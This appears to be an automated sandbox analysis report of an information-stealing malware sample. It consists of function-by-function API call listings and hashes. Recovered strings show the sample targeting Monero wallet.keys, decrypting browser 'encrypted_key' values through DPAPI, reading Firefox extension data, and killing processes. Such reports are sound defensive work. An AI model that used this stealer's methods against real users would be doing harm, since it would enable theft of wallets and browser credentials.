Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: d5357653e6c0044a628c738429191ab1f5131ae15703216ae668bc014dd009e2
Instruction ID: 19472a941a6435e7f3fb3319c938c7fb8a8618dd243d754d66cad4a99d0d7e6c
Opcode Fuzzy Hash: d5357653e6c0044a628c738429191ab1f5131ae15703216ae668bc014dd009e2
Instruction Fuzzy Hash: FAE08CB0A4020CBBD700DBD4EC0EE6DB7B8EB0470AF000195FE0987280DA719E008B96

Function 0008A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 00098B60: GetSystemTime.KERNEL32(000A0E1A,00D3EEF0,000A05AE,?,?,000813F9,?,0000001A,000A0E1A,00000000,?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 00098B86

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0008A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0008A3FF
lstrlen.KERNEL32(00000000), ref: 0008A6BC

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

DeleteFileA.KERNEL32(00000000), ref: 0008A743

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a254debb05e908b7fd19d9a590751c41f68b651aa77a52c8cb1d3d3f26ea5866
Instruction ID: 0951a69f88985f8cc737806bacd5365ea56854e4ac75fe9c43b6514d6420fe25
Opcode Fuzzy Hash: a254debb05e908b7fd19d9a590751c41f68b651aa77a52c8cb1d3d3f26ea5866
Instruction Fuzzy Hash: 74E1CC72A201189BDF05FBA4EC96EEE7338BF15300F508159F51676092EF306A4DDBA6

Function 0008D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 00098B60: GetSystemTime.KERNEL32(000A0E1A,00D3EEF0,000A05AE,?,?,000813F9,?,0000001A,000A0E1A,00000000,?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 00098B86

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0008D481
lstrlen.KERNEL32(00000000), ref: 0008D698
lstrlen.KERNEL32(00000000), ref: 0008D6AC
DeleteFileA.KERNEL32(00000000), ref: 0008D72B

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d29c07259d55355d42f0dae2e47215566039dcde89dd2e05873ace5e9027a032
Instruction ID: ee45d612faf7cadd3d3a8838ef3ec733ddccce63551cc7cb03936c3a6fd22d2e
Opcode Fuzzy Hash: d29c07259d55355d42f0dae2e47215566039dcde89dd2e05873ace5e9027a032
Instruction Fuzzy Hash: 4391FE72A101189BDF04FBA4ED96EEE7338BF15304F504169F517A6092EF346A09DBA2

Function 0008D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 00098B60: GetSystemTime.KERNEL32(000A0E1A,00D3EEF0,000A05AE,?,?,000813F9,?,0000001A,000A0E1A,00000000,?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 00098B86

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0008D801
lstrlen.KERNEL32(00000000), ref: 0008D99F
lstrlen.KERNEL32(00000000), ref: 0008D9B3
DeleteFileA.KERNEL32(00000000), ref: 0008DA32

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 023b283c35af119896501a62402d2f16bd8e9baf5325127574e4770984287ccd
Instruction ID: f7339bb11165456b1b673d0d827a205b40c1856f36a8095c4cc1f9cd384d5e44
Opcode Fuzzy Hash: 023b283c35af119896501a62402d2f16bd8e9baf5325127574e4770984287ccd
Instruction Fuzzy Hash: CE81E072A201189BDF04FBA4DD96EEE7338BF15304F504519F507A6092EF346A09DBE2

Function 0008F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
Part of subcall function 000899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
Part of subcall function 000899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
Part of subcall function 000899C0: ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
Part of subcall function 000899C0: LocalFree.KERNEL32(0008148F), ref: 00089A90
Part of subcall function 000899C0: CloseHandle.KERNEL32(000000FF), ref: 00089A9A

Part of subcall function 00098E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00098E52

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,000A1580,000A0D92), ref: 0008F54C
lstrlen.KERNEL32(00000000), ref: 0008F56B

Strings

moz-extension+++, xrefs: 0008F5AD
^userContextId=4294967295, xrefs: 0008F59C

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e6be56e24154a9dc7a4dd05c49663974d62670ee41f964f1cc4b9e5c165c9959
Instruction ID: f9e54f50083f9293a16a88ea813a76598e8568c27f091899f383787a14d22eb1
Opcode Fuzzy Hash: e6be56e24154a9dc7a4dd05c49663974d62670ee41f964f1cc4b9e5c165c9959
Instruction Fuzzy Hash: A151CE71E10108AADF04FBB4DC96DEE7379AF55300F408529F916A6192EE346A09DBE2

Function 00093560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: ccfb3392df268e032dae63e721f574b63c991c64d11a5b2c5d3e9196808daefe
Instruction ID: 7d77f3e1c0e6f2b66ced667d64029c87d2e8edf9333ed4fadaff13ff5e6776d8
Opcode Fuzzy Hash: ccfb3392df268e032dae63e721f574b63c991c64d11a5b2c5d3e9196808daefe
Instruction Fuzzy Hash: CE413E71E14109AFCF04EFE4D846AFEB7B4BF49304F008418E51676291EB75AA05DFA2

Function 00089CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 000899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
Part of subcall function 000899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
Part of subcall function 000899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
Part of subcall function 000899C0: ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
Part of subcall function 000899C0: LocalFree.KERNEL32(0008148F), ref: 00089A90
Part of subcall function 000899C0: CloseHandle.KERNEL32(000000FF), ref: 00089A9A

Part of subcall function 00098E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00098E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00089D39

Part of subcall function 00089AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089AEF
Part of subcall function 00089AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00084EEE,00000000,?), ref: 00089B01
Part of subcall function 00089AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089B2A
Part of subcall function 00089AC0: LocalFree.KERNEL32(?,?,?,?,00084EEE,00000000,?), ref: 00089B3F

Part of subcall function 00089B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00089B84
Part of subcall function 00089B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00089BA3
Part of subcall function 00089B60: LocalFree.KERNEL32(?), ref: 00089BD3

Strings

"encrypted_key":", xrefs: 00089D30
, xrefs: 00089DC1
DPAPI, xrefs: 00089D89

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 09c8b61ba3f5c381da1508ef302fd6937e65dc54e5a6591febd42f36fc5810c2
Instruction ID: eeba982022536b019ee9232b13e732daf4309223df97b0037d73c41519a1cc1b
Opcode Fuzzy Hash: 09c8b61ba3f5c381da1508ef302fd6937e65dc54e5a6591febd42f36fc5810c2
Instruction Fuzzy Hash: 26313EB5D10209ABCF04FBE4DC85AFEB7B8BF48304F184519E945A7242EB349A14CBA5

Function 000994D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000994EB

Part of subcall function 00098D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0009951E,00000000), ref: 00098D5B
Part of subcall function 00098D50: RtlAllocateHeap.NTDLL(00000000), ref: 00098D62
Part of subcall function 00098D50: wsprintfW.USER32 ref: 00098D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 000995AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 000995C9
CloseHandle.KERNEL32(00000000), ref: 000995D6

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 11d28576251538f30d4878e01e08e2e6c5d11138cb1e309907aa178fb930966c
Instruction ID: 4300c8c0662318b17426ac82fc97292dd88c8097b78ed478660149f987491e9a
Opcode Fuzzy Hash: 11d28576251538f30d4878e01e08e2e6c5d11138cb1e309907aa178fb930966c
Instruction Fuzzy Hash: B5313C71E0020CAFDF14DBD4DD49FEEB7B8FB44304F104559E506AA184DB74AA89DB52

Function 00098680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,000A05B7), ref: 000986CA
Process32First.KERNEL32(?,00000128), ref: 000986DE
Process32Next.KERNEL32(?,00000128), ref: 000986F3

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

CloseHandle.KERNEL32(?), ref: 00098761

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bc06f9be847d55c790ce4df1b634888fa0f3346d814bf9dbb93693304aabfccd
Instruction ID: 28a770abcd17d0799646d805156b67f20958869bb8dab24ed61be8cbd8d3e747
Opcode Fuzzy Hash: bc06f9be847d55c790ce4df1b634888fa0f3346d814bf9dbb93693304aabfccd
Instruction Fuzzy Hash: B7314D71A11218ABCF24DF95DC45FEEB778FB46700F104199F10AA61A1DF306A45DFA1

Function 00097980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,000A0E00,00000000,?), ref: 000979B0
RtlAllocateHeap.NTDLL(00000000), ref: 000979B7
GetLocalTime.KERNEL32(?,?,?,?,?,000A0E00,00000000,?), ref: 000979C4
wsprintfA.USER32 ref: 000979F3

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
